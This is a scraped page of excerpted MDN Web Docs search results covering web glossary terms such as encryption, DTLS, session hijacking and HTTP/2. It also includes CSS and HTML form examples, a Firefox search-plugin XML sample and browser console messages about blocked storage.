... a typical cipher suite looks like ecdhe_rsa_with_aes_128_gcm_sha256 or ecdhe-rsa-aes128-gcm-sha256, indicating: ecdhe (elliptic curve diffie-hellman ephemeral) for key exchange rsa for authentication aes-128 as the cipher, with galois/counter mode (gcm) as the block cipher mode of operation sha-256 as the hash-based message authentication code (hmac) learn more mozilla recommended cipher suite choices for tls ...
Compile - MDN Web Docs Glossary: Definitions of Web-related terms
sometimes, this task is also referred to as "assembling" or "build", which typically indiciates more than just compilation is done, e.g.
... usually, a compiler transforms a higher-level language such as c or java, which humans understand, into a machine language, such as assembly, that the cpu can understand.
... some compilers which translate between similar level languages are called transpilers or cross-compilers, for instance to compile from typescript to javascript.
Cryptographic hash function - MDN Web Docs Glossary: Definitions of Web-related terms
a cryptographic hash function, also sometimes called a digest function, is a cryptographic primitive transforming a message of arbitrary size into a message of fixed size, called a digest.
... cryptographic hash functions are used for authentication, digital signatures, and message authentication codes.
... to be used for cryptography, a hash function must have these qualities: quick to compute (because they are generated frequently) not invertible (each digest could come from a very large number of messages, and only brute-force can generate a message that leads to a given digest) tamper-resistant (any change to a message leads to a different digest) collision-resistant (it should be impossible to find two different messages that produce the same digest) cryptographic hash functions such as md5 and sha-1 are considered broken, as attacks have been found that significantly reduce their collision resistance.
DTLS (Datagram Transport Layer Security) - MDN Web Docs Glossary: Definitions of Web-related terms
datagram transport layer security (dtls) is a protocol used to secure datagram-based communications.
...all of the webrtc related protocols are required to encrypt their communications using dtls; this includes sctp, srtp, and stun.
... learn more general knowledge datagram transport layer security on wikipedia specifications rfc 6347: datagram transport layer security version 1.2 datagram transport layer security protocol version 1.3 draft specification related specifications rfc 5763: framework for establishing a secure real-time transport protocol (srtp) security context using dtls rfc 5764: dtls extension to establish keys for the secure real-time transport protocol (srtp) rfc 6083: dtls for stream control transmission protocol (sctp) rfc 8261: datagram transport layer security (dtls) encapsulation of sctp packets rfc 7350: datagram transport layer security (dtls) as transport for session traversal utilities for nat (stun) rfc 7925: tls / dtls profiles for the internet of things ...
ECMA - MDN Web Docs Glossary: Definitions of Web-related terms
ecma international (formally european computer manufacturers association) is a non-profit organization that develops standards in computer hardware, communications, and programming languages.
... on the web it is famous for being the organization which maintain the ecma-262 specification (aka.
... ecmascript) which is the core specification for the javascript language.
Encryption - MDN Web Docs Glossary: Definitions of Web-related terms
encryption is a cryptographic primitive: it transforms a plaintext message into a ciphertext using a cryptographic algorithm called a cipher.
... encryption in modern ciphers is performed using a specific algorithm and a secret, called the key.
... without knowing the secret, the reverse operation, decryption, is mathematically hard to perform.
Entity - MDN Web Docs Glossary: Definitions of Web-related terms
you can also use them in place of other characters that are difficult to type with a standard keyboard.
...for less memorable characters, such as &#8212; or &#x2014;, you can use a reference chart or decoder tool.
... learn more technical reference official list of character entities ...
frame rate (FPS) - MDN Web Docs Glossary: Definitions of Web-related terms
a frame rate is the the speed at which the browser is able to recalculate, layout and paint content to the display.
... the frames per second, or fps, is how many frames can be repainted in one second.
...they are able to have fewer frames per second because the illusion of life is created with motion blurs.
Flex - MDN Web Docs Glossary: Definitions of Web-related terms
along with inline-flex it causes the element that it applies to to become a flex container, and the element's children to each become a flex item.
... in addition <flex> can refer to a flexible length in css grid layout.
... learn more property reference align-content align-items align-self flex flex-basis flex-direction flex-flow flex-grow flex-shrink flex-wrap justify-content order further reading css flexible box layout module level 1 specification css flexbox guide: basic concepts of flexbox css flexbox guide: relationship of flexbox to other layout methods css flexbox guide: aligning items in a flex container css flexbox guide: ordering flex items css flexbox guide: controlling ratios of flex items along the main axis css flexbox guide: mastering wrapping of flex items css flexbox guide: typical use cases of flexbox ...
Forbidden header name - MDN Web Docs Glossary: Definitions of Web-related terms
a forbidden header name is the name of any http header that cannot be modified programmatically; specifically, an http request header name (in contrast with a forbidden response header name).
... modifying such headers is forbidden because the user agent retains full control over them.
...accept-encoding access-control-request-headers access-control-request-method connection content-length cookie cookie2 date dnt expect feature-policy host keep-alive origin proxy- sec- referer te trailer transfer-encoding upgrade via note: the user-agent header is no longer forbidden, as per spec — see forbidden header name list (this was implemented in firefox 43) — it can now be set in a fetch headers object, or via xhr setrequestheader().
Gaia - MDN Web Docs Glossary: Definitions of Web-related terms
the user interface and default application suite of the firefox os platform.
...you can install third-party apps alongside gaia.
... learn more technical reference gaia platform guide gaia development/hacking guide ...
Gonk - MDN Web Docs Glossary: Definitions of Web-related terms
some other parts of the hal are shared with aosp: gps, camera, and others.
... you could call gonk a very simple linux distribution.
...since firefox os has full control over gonk, we can expose interfaces to gecko that aren't accessible on other operating systems, for example the full telephony stack and display frame buffer.
Grid Axis - MDN Web Docs Glossary: Definitions of Web-related terms
it is along these axes that items can be aligned and justified using the properties defined in the box alignment specification.
... the physical direction of these axes can change according to the writing mode of the document.
... learn more further reading css grid layout guide: basic concepts of grid layout css grid layout guide: box alignment in grid layout css grid layout guide: grids, logical values and writing modes ...
HTTP/2 - MDN Web Docs Glossary: Definitions of Web-related terms
http/2 does not modify the application semantics of http in any way.
...instead, http/2 modifies how the data is formatted (framed) and transported between the client and server, both of which manage the entire process, and hides application complexity within the new framing layer.
... as a result, all existing applications can be delivered without modification.
High-level programming language - MDN Web Docs Glossary: Definitions of Web-related terms
a high-level programming language has a significant abstraction from the details of computer operation.
...unlike low-level programming languages, it may use natural language elements, or may automate (or even entirely hide) significant areas of computing systems, making the process of developing simpler and more understandable relative to a lower-level language.
... the idea of a language automatically translatable into machine code, but nearer to human logic, was introduced in computer science in the 1950s, especially thanks to the work of john backus (ibm), to whom it owes the first high-level language to have been widely circulated: fortran.
Houdini - MDN Web Docs Glossary: Definitions of Web-related terms
houdini gives developers access to the css object model (cssom), enabling developers to write code the browser can parse as css.
... the benefit of houdini is that developers can create css features without waiting for web standards specifications to define them and without waiting for every browser to fully implement the features.
... while many of the features houdini enables can be created with javascript, interacting directly with the cssom before javascript is enabled provides for faster parse times.
IIFE - MDN Web Docs Glossary: Definitions of Web-related terms
(function () { statements })(); it is a design pattern which is also known as a self-executing anonymous function and contains two major parts: the first is the anonymous function with lexical scope enclosed within the grouping operator ().
...the variable within the expression can not be accessed from outside it.
... (function () { var aname = "barry"; })(); // variable aname is not accessible from the outside scope aname // throws "uncaught referenceerror: aname is not defined" assigning the iife to a variable stores the function's return value, not the function definition itself.
Internationalization - MDN Web Docs Glossary: Definitions of Web-related terms
internationalization, often shortened to "i18n", is the adapting of a web site or web application to different languages, regional differences, and technical requirements for different regions and countries.
... internationalization is the process of architecting your web application so that it can be quickly and easily adapted to various languages and regions without much engineering effort when new languages and regions are supported.
... also so that a user can browse features to translate or localize the application to access all the content without breaking the layout.
JSON - MDN Web Docs Glossary: Definitions of Web-related terms
json can represent numbers, booleans, strings, null, arrays (ordered sequences of values), and objects (string-value mappings) made up of these values (or of other arrays and objects).
... much like xml, json has the ability to store hierarchical data unlike the more traditional csv format.
... learn more general knowledge json on wikipedia technical reference json on mdn ...
Main thread - MDN Web Docs Glossary: Definitions of Web-related terms
this means that long-running javascript functions can block the thread, leading to an unresponsive page and a bad user experience.
... unless intentionally using a web worker, such as a service worker, javascript runs on the main thread, so it's easy for a script to cause delays in event processing or painting.
... the less work required of the main thread, the more that thread can respond to user events, paint, and generally be responsive to the user.
MathML - MDN Web Docs Glossary: Definitions of Web-related terms
mathml (an xml application) is an open standard for representing mathematical expressions in webpages.
... in 1998 the w3c first recommended mathml for representing mathematical expressions in the browser.
... mathml has other applications also including scientific content and voice synthesis.
Microsoft Internet Explorer - MDN Web Docs Glossary: Definitions of Web-related terms
internet explorer (or ie) is a free graphical browser maintained by microsoft for legacy enterprise uses.
... microsoft first bundled ie with windows in 1995 as part of the package called "microsoft plus!".
...nternet explorer versions on wikipedia learning about internet explorer http://windows.microsoft.com/en-us/internet-explorer/download-ie http://windows.microsoft.com/en-us/windows7/getting-started-with-internet-explorer-9 http://windows.microsoft.com/en-us/internet-explorer/internet-explorer-help http://windows.microsoft.com/en-us/internet-explorer/make-ie-default-browser#ie=ie-11 technical reference http://windows.microsoft.com/en-us/internet-explorer/products/ie-8/system-requirements http://windows.microsoft.com/en-us/internet-explorer/products/ie-9/system-requirements http://support.microsoft.com/kb/969393 ...
Navigation directive - MDN Web Docs Glossary: Definitions of Web-related terms
csp navigation directives are used in a content-security-policy header and govern to which location a user can navigate to or submit a form to, for example.
... list of csp navigation directives form-action restricts the urls which can be used as the target of a form submissions from a given context.
... navigate-to restricts the urls to which a document can initiate navigation by any means, including <form> (if form-action is not specified), <a>, window.location, window.open, etc.
Network throttling - MDN Web Docs Glossary: Definitions of Web-related terms
the internet speeds for developers creating web applications in a corporate office building on a powerful computer are generally very fast.
...the network speeds of a mobile user accessing that web application, possibly while traveling or in a remote area with poor data plan covereage, will likely be very slow, if they are able to get online at all.
...by emulating your user's experience via network throttling, you can more readily identify and fix load time issues.
Operator - MDN Web Docs Glossary: Definitions of Web-related terms
reserved syntax consisting of punctuation or alphanumeric characters that carries out built-in functionality.
... for example, in javascript the addition operator ("+") adds numbers together and concatenates strings, whereas the "not" operator ("!") negates an expression — for example making a true statement return false.
... learn more general knowledge operator (computer programming) on wikipedia technical reference javascript operators ...
Parse - MDN Web Docs Glossary: Definitions of Web-related terms
parsing means analyzing and converting a program into an internal format that a runtime environment can actually run, for example the javascript engine inside browsers.
...parsing can continue when a css file is encountered, but <script> tags—particularly those without an async or defer attribute—blocks rendering, and pauses parsing of html.
... javascript parsing is done during compile time or whenever the parser is invoked, such as during a call to a method.
Perceived performance - MDN Web Docs Glossary: Definitions of Web-related terms
other features, such as good ux design, including animations, and lazy loading, can make your site appear more responsive, even if the download and response times remain the same.
...while increased performance generally increases perceived performance, there are some techniques that can be used to increase perceived performance while marginally decreasing actual performance.
... there are front end optimization techniques that can improve perceived performance, such as adding the defer or async attribute to scripts, or placing scripts at the end of documents, and placing css in the head of documents.
Pixel - MDN Web Docs Glossary: Definitions of Web-related terms
a pixel is the smallest building block of a graphical display like a computer screen.
...eg: a “800 x 600” pixel resolution means that 800 pixels can be displayed in width and 600 pixels in height.
... learn more technical reference pixel on wikipedia ...
Progressive Enhancement - MDN Web Docs Glossary: Definitions of Web-related terms
progressive enhancement is a design philosophy that provides a baseline of essential content and functionality to as many users as possible, while delivering the best possible experience only to users of the most modern browsers that can run all the required code.
... feature detection is generally used to determine whether browsers can handle more modern functionality, while polyfills are often used to add missing features with javascript.
...in reality both approaches are valid and can often complement one another.
RSS - MDN Web Docs Glossary: Definitions of Web-related terms
rss (really simple syndication) refers to several xml document formats designed for publishing site updates.
... when you subscribe to a website's rss feed, the website sends information and updates to your rss reader in an rss document called a feed, so you don't need to check all your favorite websites manually.
... learn more general knowledge rss on wikipedia technical reference latest specification ...
RTCP (RTP Control Protocol) - MDN Web Docs Glossary: Definitions of Web-related terms
rtcp is used to provide control and statistical information about an rtp media streaming session.
... this lets control and statistics packets be separated logically and functionally from the media streaming while using the underlying packet delivery layer to transmit the rtcp signals as well as the rtp and media contents.
... rtcp periodically transmits control packets to all of an rtp session's participants, using the same mechanism that is being used to transmit the data packets.
SLD - MDN Web Docs Glossary: Definitions of Web-related terms
an sld (second level domain) is the domain name that is located right before a tld.
...additional subdomains can be created in order to provide additional information about various functions of a server or to delimit areas under the same domain.
... for example, www is a commonly used subdomain to indicate the domain points to a web server.
SVN - MDN Web Docs Glossary: Definitions of Web-related terms
it allows developers to keep a history of text and code modifications.
... although svn can also handle binary files, we do not recommend that you use it for such files.
... learn more general knowledge apache subversion on wikipedia official website learn about it svn guide for localizers on mdn ...
Second-level Domain - MDN Web Docs Glossary: Definitions of Web-related terms
an sld (second level domain) is the domain name that is located right before a tld.
...additional subdomains can be created in order to provide additional information about various functions of a server or to delimit areas under the same domain.
... for example, www is a commonly used subdomain to indicate the domain points to a web server.
Session Hijacking - MDN Web Docs Glossary: Definitions of Web-related terms
most authentication occurs only at the start of a tcp session.
... session hijacking occurs because no account lockout for invalid session ids weak session-id generation algorithm insecure handling indefinite session expiration time short session ids transmission in plain text session hijacking process sniff, that is perform a man-in-the-middle (mitm) attack, place yourself between victim and server.
... protection against session hijacking create a secure communication channel with ssh (secure shell) pass authentication cookies over https connection implement logout functionality so the user can end the session generate the session id after successful login pass encrypted data between the users and the web server use a string or long random number as a session key learn more general knowledge session hijacking on wikipedia ...
Static method - MDN Web Docs Glossary: Definitions of Web-related terms
in a web api, a static method is one which is defined by an interface but can be called without instantiating an object of that type first.
... methods called on object instances are called instance methods.
... examples in the notifications api, the notification.requestpermission() method is called on the actual notification constructor itself — it is a static method: let promise = notification.requestpermission(); the notification.close() method on the other hand, is an instance method — it is called on an specific notification object instance to close the system notification it represents: let mynotification = new notification('this is my notification'); mynotification.close(); ...
TCP handshake - MDN Web Docs Glossary: Definitions of Web-related terms
tcp (transmission control protocol) is a transport layer host-to-host protocol for connection-oriented communication between two computers on an ip network.
...the three message mechanism is designed so that two computers that want to pass information back and forth to each other can negotiate the parameters of the connection before transmitting data such as http browser requests.
...the connection can be terminated independently by each side of the connection via a four-way handshake.
TOFU - MDN Web Docs Glossary: Definitions of Web-related terms
to do that, clients will look for identifiers (for example public keys) stored locally.
... if an identifier is found, the client can establish the connection.
... if no identifier is found, the client can prompt the user to determine if the client should trust the identifier.
TTL - MDN Web Docs Glossary: Definitions of Web-related terms
ttl can refer either to : the lifetime of a packet in a network can do before being released the expiry time of cached data networking in networking, the ttl, embedded in the packet, is a usually defined as a number of hops or as an expiration timestamp after which the packet is dropped.
... caching in the context of caching, ttl (as an unsigned 32-bit integer) being a part of the http response header or the dns query, indicates the amount of time in seconds during which the ressource can be cached by the requester.
... learn more general knowledge ttl on wikipedia technical reference rfc 2181 on ietf rfc1035 on ietf ...
Texel - MDN Web Docs Glossary: Definitions of Web-related terms
texel components are made up of subjective data, therefore they can be an image as well as a depth map.
... the process of mapping the appropriate texel’s to their corresponding points on a polygon is called texture mapping, which is a stage of the process of rendering a 3d image for display.
... texture mapping is typically done prior to lighting the scene; however, in webgl, lighting is performed as part of the texture mapping process.
Time to interactive - MDN Web Docs Glossary: Definitions of Web-related terms
tti, proposed by the web incubator community group in 2018, is intended to provide a metric that describes when a page or application contains useful content and the main thread is idle and free to respond to user interactions, including having event handlers registered.
... caveat: tti is derived by leveraging information from the long tasks api.
... although available in some performance monitoring tools, tti is not a part of any official web specification at the time of writing.
Type conversion - MDN Web Docs Glossary: Definitions of Web-related terms
type conversion (or typecasting) means transfer of data from one data type to another.
... implicit conversion happens when the compiler automatically assigns data types, but the source code can also explicitly require a conversion to take place.
... for example, given the instruction 5+2.0, the floating point 2.0 is implicitly typecasted into an integer, but given the instruction number("0x11"), the string "0x11" is explicitly typecasted as the number 17.
Visual Viewport - MDN Web Docs Glossary: Definitions of Web-related terms
the portion of the viewport that is currently visible is called the visual viewport.
... this can be smaller than the layout viewport, such as when the user has pinched-zoomed.
... the visual viewport is the visual portion of a screen excluding on-screen keyboards, areas outside of a pinch-zoom area, or any other on-screen artifact that doesn't scale with the dimensions of a page.
VoIP - MDN Web Docs Glossary: Definitions of Web-related terms
the main reason for using voip technology is because of cost.
... voip allows you to make a call directly from a computer, a special voip phone, or a traditional phone connected to a special adapter.
...usually, telephone calls over the internet do not incur further charges beyond what the user is paying for internet access, much in the same way that the user doesn't pay for sending individual emails over the internet.
WebRTC - MDN Web Docs Glossary: Definitions of Web-related terms
webrtc (web real-time communication) is an api that can be used by video-chat, voice-calling, and p2p-file-sharing web apps.
... webrtc consists mainly of these parts: getusermedia() grants access to a device's camera and/or microphone, and can plug in their signals to a rtc connection.
... rtcpeerconnection an interface to configure video chat or voice calls.
WebVTT - MDN Web Docs Glossary: Definitions of Web-related terms
webvtt (web video text tracks) is a w3c specification for a file format marking up text track resources in combination with the html <track> element.
... webvtt files provide metadata that is time-aligned with audio or video content like captions or subtitles for video content, text video descriptions, chapters for content navigation, and more.
... learn more general knowledge webvtt on wikipedia technical reference webvtt on mdn specification ...
Whitespace - MDN Web Docs Glossary: Definitions of Web-related terms
whitespace is a set of characters which is used to show horizontal or vertical spaces between other characters.
...in the form of text, they are treated as normal space characters and sequential whitespaces are collapsed as a single space in many cases (this behavior can be changed by the white-space css property.
... in javascript ecmascript® 2015 language specification specifies several unicode codepoints as white space: u+0009 character tabulation <tab>, u+000b line tabulation <vt>, u+000c form feed <ff>, u+0020 space <sp>, u+00a0 no-break space <nbsp>, u+feff zero width no-break space <zwnbsp> and other category “zs” any other unicode “separator, space” code point <usp>.
beacon - MDN Web Docs Glossary: Definitions of Web-related terms
a web beacon is a small object, such as a 1 pixel gif, embedded in markup, used to communicate information back to the web server or to 3rd party servers.
... beacons are generally included to provide information about the user for statistical purposes.
... there is a w3c draft beacon specification to standardize the beacon as an interface to asynchronously transfer http data from user agent to a web server prior to page load without negative performance impact.
firewall - MDN Web Docs Glossary: Definitions of Web-related terms
it can either let it pass or block it, according to some specified rules.
... for example, it can block incoming connections aimed at a certain port or outgoing connections to a certain ip address.
... firewalls can be as simple as a single piece of software, or more complex, like a dedicated machine whose only function is to act as a firewall.
jQuery - MDN Web Docs Glossary: Definitions of Web-related terms
jquery is a javascript library that focuses on simplifying dom manipulation, ajax calls, and event handling.
...to explain it in detail, $(selector) will call jquery to select selector element(s), and assign it to an event api called .action().
... $(document).ready(function(){ alert("hello world!"); $("#blackbox").hide(); }); the above code carries out the same function as the following code: window.onload = function() { alert("hello world!"); document.getelementbyid("blackbox").style.display = "none"; }; or: window.addeventlistener("load", () => { alert("hello world!"); document.getelementbyid("blackbox").style.display = "none"; }); learn more general knowledge jquery on wikipedia jquery official website technical information offical api reference documentation ...
LTR (Left To Right) - MDN Web Docs Glossary: Definitions of Web-related terms
ltr (left to right) is a locale property indicating that text is written from left to right.
... for example, the en-us locale (for us english) specifies left-to-right.
... technical reference localization and internationalization ...
Percent-encoding - MDN Web Docs Glossary: Definitions of Web-related terms
it is sometimes called url encoding.
...' '#' '[' ']' '@' '!' '$' '&' "'" '(' ')' '*' '+' ',' ';' '=' '%' ' ' %3a %2f %3f %23 %5b %5d %40 %21 %24 %26 %27 %28 %29 %2a %2b %2c %3b %3d %25 %20 or + depending on the context, the character ' ' is translated to a '+' (like in the percent-encoding version used in an application/x-www-form-urlencoded message), or in '%20' like on urls.
... technical knowledge rfc 3986, section 2.1, where this encoding is defined.
Protocol - MDN Web Docs Glossary: Definitions of Web-related terms
communications between devices require that the devices agree on the format of the data that is being exchanged.
... the set of rules that defines a format is called a protocol.
... learn more general knowledge communications protocol on wikipedia rfc official internet protocol standards ...
Viewport - MDN Web Docs Glossary: Definitions of Web-related terms
the portion of the viewport that is currently visible is called the visual viewport.
... this can be smaller than the layout viewport, such as when the user has pinched-zoomed.
... the layout viewport remains the same, but the visual viewport became smaller.
Use CSS to solve common problems - Learn web development
LearnCSSHowto
common use cases basics how to apply css to the dom how to use whitespace in css how to write comments in css how to select elements via element name, class or id how to select elements via attribute name and content how to use pseudo-classes how to use pseudo-elements how to apply multiple selectors to the same rule how to specify colors in css how to debug css in the browser css and text how to style text how to customize a list of elements how to style links how to add shadows to text boxes and layouts how to size css boxes how to control overflowing content how to control the part of a css box that the background is drawn under how do i define inline, block, and...
...these articles help demystify some of the more complicated use cases.
... general how to calculate specificity of a css selector how to control inheritance in css advanced effects how to use filters in css how to use blend modes in css layout using css flexible boxes using css multi-column layouts using css generated content ...
Example 1 - Learn web development
/* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ background : #f0f0f0; background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .select .optli...
.../* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ background : #f0f0f0; background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .select .optli...
...100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0, 0, 0, .45); /* 0 1px 2px */ background : #f0f0f0; background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .select .optlist { z-index : 2; list-styl...
Example - Learn web development
bbr title="required">*</abbr></strong> </label> <input type="email" id="mail" name="usermail"> </p> <p> <label for="pwd"> <span>password: </span> <strong><abbr title="required">*</abbr></strong> </label> <input type="password" id="pwd" name="password"> </p> </section> <section> <h2>payment information</h2> <p> <label for="card"> <span>card type:</span> </label> <select id="card" name="usercard"> <option value="visa">visa</option> <option value="mc">mastercard</option> <option value="amex">american express</option> </select> </p> <p> <label for="number"> <span>card number:</span> <strong><abbr title="required">*</abbr></strong> </lab...
...el> <input type="tel" id="number" name="cardnumber"> </p> <p> <label for="date"> <span>expiration date:</span> <strong><abbr title="required">*</abbr></strong> <em>formatted as mm/dd/yyyy</em> </label> <input type="date" id="date" name="expiration"> </p> </section> <section> <p> <button type="submit">validate the payment</button> </p> </section> </form> css content h1 { margin-top: 0; } ul { margin: 0; padding: 0; list-style: none; } form { margin: 0 auto; width: 400px; padding: 1em; border: 1px solid #ccc; border-radius: 1em; } div+div { margin-top: 1em; } label span { display: inline-block; width: 120px; text-align: right; } input, textarea { font: 1em sans-s...
...erif; width: 250px; box-sizing: border-box; border: 1px solid #999; } input[type=checkbox], input[type=radio] { width: auto; border: none; } input:focus, textarea:focus { border-color: #000; } textarea { vertical-align: top; height: 5em; resize: vertical; } fieldset { width: 250px; box-sizing: border-box; margin-left: 136px; border: 1px solid #999; } button { margin: 20px 0 0 124px; } label { position: relative; } label em { position: absolute; right: 5px; top: 20px; } result ...
Server-side website programming - Learn web development
most major websites use some kind of server-side technology to dynamically display data as required.
...displaying all of these using different static pages would be extremely inefficient, so instead such sites display static templates (built using html, css, and javascript), and then dynamically update the data displayed inside those templates when needed, such as when you want to view a different product on amazon.
... learning pathway getting started with server-side programming is usually easier than client-side development, because dynamic websites tend to perform a lot of very similar operations (retrieving data from a database and displaying it in a page, validating user-entered data and saving it in a database, checking user permissions and logging users in, etc.), and are constructed using web frameworks that make these and other common web server operations easy.
Accessibility Information for Core Gecko Developers
html accessibility dynamic web content is not accessible because it uses vanilla <div>s and <span>s combined with javascript rather than declarative markup to describe the behavior of custom widgets such as menus and tree views.
...it contains a class hierararchy and an explanation of the accessibility cache.
... newsgroup and mailing list we have two discussion lists, which can be read via a newsgroup reader, as a mailing list or via google groups.
Creating MozSearch plugins
the following xml is the bundled firefox 2 search plugin for searching using yahoo!: <searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>yahoo</shortname> <description>yahoo search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,r0lgodlheaaqajecap8aaaaaap///waaach5baeaaaialaaaaaaqabaaaaipli+py+0nogquybdened2khkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> <url type="application/x-suggestions+json" method="get" template="http://ff.search.yahoo.com/gossip?output=fxjson&amp;command={searchterms}" /> <url type="text/html" method="get" template="http://search.yahoo.com/search"> <param name="p" value="{searchterms}"/> <param name="ei" ...
... <searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>mdc</shortname> <description>mozilla developer center search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,ivborw0kggoaaaansuheugaaabaaaaaqcayaaaaf8%2f9haaaabgdbtueaak%2finwwk6qaaabl0rvh0u29mdhdhcmuaqwrvymugsw1hz2vszwfkexhjztwaaahwsurbvhjayvz%2f%2fz8djqaggjiqoe%2ffv2fv7oz8rays%2fn%2bvkfg%2fiynjfyd%2f1%2brvq7ffu3dpfpsbaaheahibcj85c8bn2nj4vwsdw%2f8zqlwkio8ccroqu0dxqlwrdshuwzbaaigjmtnnpgya9j8uqhfelwpxf2mideirksn9fwsjorkaeeam0dd4dzmaypi%2fg%2bqky4hh5waxgf8pdq0fgwj22d27cjadaaiirlmjo%2bmxa9r2kahvgba2wwx6b8w7od6ceqcggkcmcel8bgwxycbuigtdvkhdbi...
...a%2bcuotgaccued3tdqn75d4xmavcok9armhbzaw0aecibhkalc0mdy7x9abna3obazxiaa6ikecglmvqhwwyjyul2d4v2cpg8vzswx7ghyaaak7aoif7saboqcmn4ha3ahfsidtgpq%2fvlz8p4mskj2w9h8ggbjevxvhdo4fquqg%2fkdypqcg4h8luiacnq%2fsobmyi8basajfpcj1aaeejwvqqlpabxmh5bjjqi0gi9dtaagdbbccavlkgmq7ykczxpcqxquzhaeccj4xgml493ug21zd%2badaxh0wlm4a9mzpxjkjiiawtar5pqmalacabquulttbgccagcnnzgabbgamj5thwgvjlaaaaabjru5erkjggg%3d%3d</image> <url type="text/html" method="get" template="http://developer.mozilla.org/en/docs/special:search?search={searchterms}"/> <searchform>http://developer.mozilla.org/en/docs/special:search</searchform> </searchplugin> notice in this case that instead of using <param> to define parameters to the search engine, they're simply embedded inside the template url.
Debugging Chrome
--disable-accelerated-2d-canvas will disable gpu canvas google has a page on using pix on chrome.
...i copied the d3d9.dll into both c:\users\jrmuizel\appdata\local\google\chrome sxs\application\22.0.1186.0 and c:\users\jrmuizel\appdata\local\google\chrome sxs\application\.
...i did trace_file=foo.txt and it created the trace file in "c:\users\jrmuizel\appdata\local\google\chrome sxs\application\22.0.1183.0\foo.txt".
Blocked: All storage access requests
message firefox: cookieblockedall=request to access cookies or storage on “x” was blocked because we are blocking all storage access requests.
... a request to access cookies or storage was blocked because the browser is blocking all storage access.
... the permission can be changed or removed by: going to preferences > content blocking in the custom content blocking section, selecting a value other than all cookies for the cookies item if the resource that is being blocked doesn't need authentication, you can fix the warning message by adding a crossorigin="anonymous" attribute to your element.
Blocked: Custom cookie permission
message firefox: cookieblockedbypermission=request to access cookies or storage on “x” was blocked because of custom cookie permission.
... a request to access cookies or storage was blocked because there's a custom user-defined permission set.
... the permission can be changed or removed by: going to preferences > content blocking > cookies and site data clicking on the manage permissions button and updating the listed exceptions ...
Blocked: All third-party storage access requests
message firefox: cookieblockedforeign=request to access cookies or storage on “x” was blocked because we are blocking all third-party storage access requests and content blocking is enabled.
... a request to access cookies or storage was blocked because it came from a third-party (a different origin) and content blocking is enabled.
... the permission can be changed or removed by: going to preferences > content blocking and either adding an exception with the manage exceptions… button choosing the custom content blocking and unchecking the cookies checkbox if the resource that is being blocked doesn't need authentication, you can fix the warning message by adding a crossorigin="anonymous" attribute to the relevant element.
Blocked: Storage access requests from trackers
message firefox: cookieblockedtracker=request to access cookies or storage on “x” was blocked because it came from a tracker and content blocking is enabled.
... a request to access cookies or storage was blocked because the browser identified it as coming from a tracker and content blocking is enabled.
... the permission can be changed or removed by: going to preferences > content blocking and either adding an exception with the manage exceptions… button choosing the custom content blocking and unchecking the tracker checkbox if the blocked resource doesn't need authentication, you can fix the warning message by adding a crossorigin="anonymous" attribute to the relevant element.
Site Identity Button
if the site identity button on your site shows something you do not expect (for example, an orange warning triangle when you expect a green padlock) you can find out the cause of the problem by looking in the web console in the firefox developer tools: ensure your web console is displaying messages in the 'security' category force-refresh the page on your site that is causing problems watch for any security messages that may appear a downgraded security ui will be due to one of these three problems: mixed content - while your page has been served over tls, but s...
...in this case, expect to see a 'mixed content' message in the web console.
... use of a weak cipher - in this case, you're using tls but a strong cipher was not available.
HTMLIFrameElement.download()
the download() method of the htmliframeelement interface downloads a specified url, storing it at /sdcard/download.
...its request.onsuccess handler handles the success case, and its request.onerror handler handles the failure case.
... examples var browser = document.queryselector('iframe'); var request = browser.download(foourl, { filename: 'foo.bin' }); request.onsuccess = function() { console.log("file downladed"); } request.onerror = function() { console.log("download error"); } specification not part of any specification.
HTMLIFrameElement.getActive()
the getactive() method of the htmliframeelement indicates whether the current browser <iframe> is the currently active frame.
... syntax var amiactive = instanceofhtmliframeelement.getactive(); returns a boolean indicating whether the current browser <iframe> is the currently active frame (true) or not (false.) parameters none.
... example var browser = document.queryselector('iframe'); var amiactive = browser.getactive(); specification not part of any specification.
HTMLIFrameElement.getVisible()
syntax instanceofdomrequest = instanceofhtmliframeelement.getvisible(); returns a domrequest object to handle the getvisible() request's success and error cases.
... if the request is successful, the request's result is a boolean indicating the visible state of the browser <iframe>.
...'true' : 'false'); } specification not part of any specification.
mozbrowserdocumentfirstpaint
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... cancelable read only boolean whether the event is cancellable or not.
